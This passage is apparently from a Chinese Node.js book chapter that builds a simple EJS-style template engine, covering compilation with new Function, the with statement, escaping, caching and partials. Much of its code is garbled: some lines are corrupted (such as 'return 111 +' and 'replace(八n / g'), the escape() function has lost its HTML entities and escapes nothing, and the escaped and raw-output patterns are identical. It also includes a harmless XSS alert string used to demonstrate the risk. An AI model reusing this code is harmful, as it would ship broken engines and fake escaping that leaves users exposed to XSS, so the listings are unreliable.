但随着Node在社区的发展,思路很快被打开,模板语言可以随意创造,模板引擎也可以随意实现。
Node社区目前与模板引擎相关模块的列表差不多要滚3个屏幕才能看完。
并且由于 Node与前端都采用相同的执行语言JavaScript,所以一套模板语言也无须为它编写两套不同的模板引擎就能轻松地跨前后端共用。
模板技术使得网页中的动 态内容和静态内容变得不互相依赖,数据开发者与模板开发者只要约定好数据结构,两者就不用 互相影响了,如图8-6所示。
但模板技术并不是什么神秘的技术它干的实际上是拼接字符串这样很底层的活,只是各种模板有着各自的优缺点和技巧。
说模板是拼接字符串并不为过,我们要的就是模板加数据,通过模板引擎的执行就能得到最终的HTML字符串这样结果。
假设我们的模板是如下这样的,<%=%>就是我们制定的模板标签(选择这个标签主要因为ASP 和JSP都采用它做标签,相对熟悉):
Hello <%= username%〉
如果我们的数据是{username: "JacksonTian"},那么我们期望的结果就是Hello JacksonTian。
具体实现的过程是模板分为Hello和<%= username% >两个部分,前者为普通字符串,后者是表达式。
表达式需要继续处理,与数据关联后成为一个变量值,最终将字符串与变量值连成最终的字符串。
图8-7演示了模板与数据的渲染过程图
模板引擎
为了演示模板引擎的技术,我们将通过render()方法实现一个简单的模板引擎。
这个模板引擎会将Hello <%= username%>转换为"Hello " + obj.username。该过程进行以下几个步骤。
- 语法分解。提取出普通字符串和表达式,这个过程通常用正则表达式匹配出来,<%=%>的 正则表达式为/<%=([\s\S] + ?)%>/g。
- 处理表达式。将标签表达式转换成普通的语言表达式。
- 生成待执行的语句。
- 与数据一起执行,生成最终字符串。
知晓了流程,模板函数就可以轻松愉快地开工了,如下所示:
var render = function(str, data) {
//模板技术呢,就是替换特殊标签的技术
var tpl = str.replace(/<%=([\s\S]+?)%>/g, function(match, code) {
return "' + obj." + code + "+ '"
});
tpl = "var tpl = '" + tpl + "'\nreturn tpl;";
var complied = new Function('obj', tpl);
return complied(data);
};
调用上面的模板函数试试,如下所示:
var tpl = 'Hello <%=username%>.';
console.log(render(tpl, { username: 'Jackson Tian' }));
// => Hello Jackson Tian.
模板编译
上述代码的实现过程中,可以看到有部分内容前文没有提及,它的内容如下:
tpl = "var tpl = '" + tpl + "'\nreturn tpl;";
var complied = new Function('obj', tpl);
为了能够最终与数据一起执行生成字符串,我们需要将原始的模板字符串转换成一个函数对象。
比如Hello <%=username%>这句模板字符串,最终会生成如下的代码:
function (obj) {
var tpl = 'Hello ' + obj.username + '.';
return tpl;
}
这个过程称为模板编译,生成的中间函数只与模板字符串相关,与具体的数据无关。
如果每次都生成这个中间函数,就会浪费CPU。
为了提升模板渲染的性能速度,我们通常会采用模板预编译的方式。
是故,上面的代码可以拆解为两个方法,如下所示:
var complie = function(str) {
var tpl = str.replace(/<%=([\s\S]+?)%>/g, function(match, code) {
return "' + obj." + code + "+ '";
});
tpl = "var tpl = '" + tpl + "'\nreturn tpl;";
return new Function('obj, escape', tpl);
};
var render = function(complied, data) {
return complied(data);
};
通过预编译缓存模板编译后的结果,实际应用中就可以实现一次编译,多次执行,而原始的方式每次执行过程中都要进行一次编译和执行。
with的应用
上面实现的模板引擎非常弱,只能替换变量,<%="Jackson Tian"%>就无法支持了。
为了让它更灵活,我们需要改进它的实现,使字符串能继续表达为字符串,变量能够自动寻找属于它的对象。
于是with关键字引入到我们的实现中。
var complie = function(str, data) {
//模板技术呢,就是替换特殊标签的技术
var tpl = str.replace(/<%=([\s\S]+?)%>/g, function(match, code) {
return 111 + " + code + " +
});
tpl = "tpl = '" + tpl + "'";
tpl = 'var tpl = "";\nwith (obj) {' + tpl + '}\nreturn tpl;';
return new Function('obj', tpl);
};
普通字符串就直接输出,变量code的值则是obj[code]。
模板安全
前文提到过XSS漏洞,它的产生大多踉模板相关,如果上文中的username的值为 <script>alert("I am XSS.")</script>,那么模板渲染输出的字符串将会是:
Hello <script>alert("I am XSS.")</script>.
这会在页面上执行这个脚本,如果恰好这里的username是在URL的查询字符上输入的,这就构成了XSS漏洞。
为了提高安全性,大多数模板都提供了转义的功能。
转义就是将能形成HTML 标签的字符转换成安全的字符,这些字符主要有&、<、>、"、’。转义函数如下:
var escape = function (html) {
return String(html)
.replace(/&(?!\w+;)/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"') .replace(/'/g, '''); // IE 下不支持'(单引号)转义
};
模板逻辑
尽管模板技术已经将业务逻辑与视图部分分离开来,但是视图上还是会存在一些逻辑来控制页面的最终渲染。
为了让上述模板变得强大一点,我们为它添加逻辑代码,使得模板可以像ASP、 PHP那样控制页面渲染。
譬如下面的代码,结果HTML与输入数据相关:
<% if (user) { %>
<h2><%= user.name %></h2>
<% } else { %>
<h2>匿名用户</h2>
<% } %>
它要编译成的函数应该是如下这样的:
function(obj, escape) {
var tpl = "";
with(obj) {
if (user) {
tpl += "<h2>" + escape(user.name) + "</h2>";
} else {
tpl += "<h2> 匿名用户 </h2>";
}
}
return tpl;
}
模板引擎拼接字符串的原理还是通过正则表达式进行匹配替换,如下所示:
var complie = function(str) {
var tpl = str.replace(八n / g, ' \\n') // 将换行符替换
.replace(/<%=([\s\S]+?)%>/g, function(match, code) {
//转义
return "' + escape(" + code + ") + '
}).replace(/<%=([\s\S]+?)%>/g, function(match, code) {
//正常输出
return "' + " + code + "+ '";
}).replace(/<%([\s\S]+?)%>/g, function(match, code) {
//可执行代码
return "';\n" + code + "\ntpl +='";
}).replace(/\'\n/g, '\'')
.replace(/\n\'/gm, '\'');
tpl = "tpl = '" + tpl + "';";
//转换空行
tpl = tpl.replace(/''/g, '\'\\n\'');
tpl = 'var tpl = "";\nwith (obj || {}) {\n' + tpl + '\n}\nreturn tpl;';
return new Function('obj', 'escape', tpl);
};
完成上面的实现后,试试成果,如下所示:
var tpl =[
'<% if (user) { %>',
'<h2><%=user.name%></h2>',
'<% } else { %>',
'<h2>匿名用户</h2>',
'<% } %>'].join('\n');
render(complie(tpl), {user: {name: 'Jackson Tian'}});
集成文件系统
前文我们实现的complie()和render()函数已经能够实现将输入的模板字符串进行编译和替换的功能。
如果与前文的HTTP响应对象组合起来处理的话,我们响应一个客户端的请求大致如下:
app.get('/path', function(req, res) {
fs.readFile('file/path', 'utf8', function(err, text) {
if (err) {
res.writeHead(500, { 'Content-Type': 'text/html' });
res.end('模板文件错误');
return;
}
res.writeHead(200, { 'Content-Type': 'text/html' });
var html = render(complie(text), data);
res.end(html);
});
});
这样的响应体验并不友好,其缺点有如下几点。
- 每次请求需要反复读磁盘上的模板文件。
- 每次请求需要编译。
- 调用烦琐。
如果你记性不差的话,应该知道大多数的MVC框架在做渲染时都只有一个简单的render() 方法,所以我们也需要一个更简洁、性能更好的render()函数,如下所示:
var cache = {};
var VIEW_FOLDER = '/path/to/wwwroot/views';
res.render = function(viewname, data) {
if (!cache[viewname]) {
var text;
try {
text = fs.readFileSync(path.join(VIEW_FOLDER, viewname), 'utf8');
} catch (e) {
res.writeHead(500, { 'Content-Type': 'text/html' });
res.end('模板文件错误');
return;
}
cache[viewname] = complie(text);
}
var complied = cache[viewname];
res.writeHead(200, { 'Content-Type': 'text/html' });
var html = complied(data);
res.end(html);
};
这个res.render()实现中,虽然有同步读取文件的情况,但是由于采用了缓存,只会在第一 次读取的时候造成整个进程的阻塞,一旦缓存生效,将不会反复读取模板文件。其次,缓存之前已经进行了编译,也不会每次读取都编译。
封装完渲染函数之后,我们的调用就很轻松了,如下所示:
app.get('/path', function (req, res) {
res.render('viewname', {});
});
与文件系统集成之后,再引入缓存,可以很好地解决性能问题,接口也大大得到简化。
由于模板文件内容都不太大,也不属于动态改动的,所以使用进程的内存来缓存编译结果,并不会引起太大的垃圾回收问题。
子模板
有时候模板文件太大,太过复杂,会增加维护上的难度,而且有些模板是可以重用的,这催生了子模板(Partial View )的产生。
子模板可以嵌套在别的模板中,多个模板可以嵌入同一个子 模板中。
维护多个子模板比维护完整而复杂的大模板的成本要低很多,很多复杂问题可以降解为 多个小而简单的问题。
这里我们采用include关键字来实现模板的嵌套。假设母模板如下:
<ul>
<% users.forEach(function(user){ %>
<% include user/show %>
<% }) %>
</ul>
子模板user/show内容如下:
<li><%=user.name%></li>
渲染出来的效果应当跟以下代码渲染出来的效果别无二致:
<ul>
<% users.forEach(function(user){ %>
<li><%=user.name%></li>
<% }) %>
</ul>
所以实现子模板的诀窍就是先将include语句进行替换,再进行整体性编译,如下所示:
var files = {};
var preComplie = function(str) {
var replaced = str.replace(/<%\s+(include.*)\s+%>/g, function(match, code) {
var partial = code.split(/\s/)[1];
if (!files[partial]) {
files[partial] = fs.readFileSync(fs.join(VIEW_FOLDER, partial), 'utf8');
}
"
return files[partial];
});
//多层嵌套,继续替换
if (str.match(/<%\s+(include.*)\s+%>/)) {
return preComplie(replaced);
} else {
return replaced;
}
};
然后我们改进一下complie()函数,在正式编译前进行子模板替换,如下所示:
var complie = function(str) {
//预解析子模板
str = preComplie(str);
var tpl = str.replace(/\n/g, ' \\n') // 将换行符替换
.replace(/<%=([\s\S]+?)%>/g, function(match, code) {
//转义
return "' + escape(" + code + ") + '";
}).replace(/<%=([\s\S]+?)%>/g, function(match, code) {
//正常输出
return "' + " + code + "+ '";
}).replace(/<%([\s\S]+?)%>/g, function(match, code) {
//可执行代码
return " ';\n" + code + "\ntpl +='";
}).replace(/\'\n/g, '\'')
.replace(/\n\'/gm, '\'');
tpl = "tpl = '" + tpl + "';";
//转换空行
tpl = tpl.replace(/''/g, '\'\\n\'');
tpl = 'var tpl = "";\nwith (obj || {}) {\n' + tpl + '\n}\nreturn tpl;';
return new Function('obj', 'escape', tpl);
};
布局视图
子模板主要是为了重用模板和降低模板的复杂度。
子模板的另一种使用方式就是布局视图 (layout),****布局视图又称母版页,它与子模板的原理相同,但是场景稍有区别。
一般而言模板指定了子模板,那它的子模板就无法进行替换了,子模板被嵌入到多个父模板中属于正常需求,但是如果在多个父模板中只是嵌入的子视图不同,模板内容却完全一样,也会出现重复。
模板性能
从前文的实现细节中我们可以看到一些模板引擎的优化步骤,主要有如下几种。
- 缓存模板文件。
- 缓存模板文件编译后的函数。
完成上述两个步骤之后,渲染的性能与生成的函数直接相关,这个函数与模板字符串的复杂度有直接关系。
如果在模板中编写了执行表达式,执行表达式的性能将直接影响模板的性能。
优化执行表达式就是对模板性能的优化,所以加入一条优化步骤:
- 优化模板中的执行表达式
除了这几个常见的方案外,模板引擎的实现也与性能相关。
本节的实现中采用了 new Function(),事实上还可以使用eval();对于字符串处理,本节中用的是字符串直接相加,有的模板引擎采用数组存储的方式,最后将所有字符串相连。
对于变量的查找,本节采用的是with形 成作用域的方式实现了查找,有的模板引擎采用了本节第一种方式,即指定变量名的方式(obj. username )查找,指定变量而不用with可以减少切换上下文。
这些细节都是影响模板速度的因素。
由于现有模板引擎数量巨多,此处不再做比较。
小结
模板技术的出现,将业务开发与HTML输出的工作分离开来,它的设计原理就是单一职责原理。
这与MVC中的数据、逻辑、视图分离如出一辙,更与前端HTML、CSS、JavaScript分离的设理念一致,让视觉、结构、逻辑分离开来。
随着Node的出现,模板能够在前后端共用实在是太寻常不过的事情,甚至都不用去重复实现引擎。
本节介绍了模板的基本原理,如今各种各样的模板具备不同的特性和性能。
最知名的有EJS、Jade等,它们在模板语言的设计上各不相同,EJS是 ASP、PHP、JSP风格的模板标签,Jade则类似Python、Ruby的风格。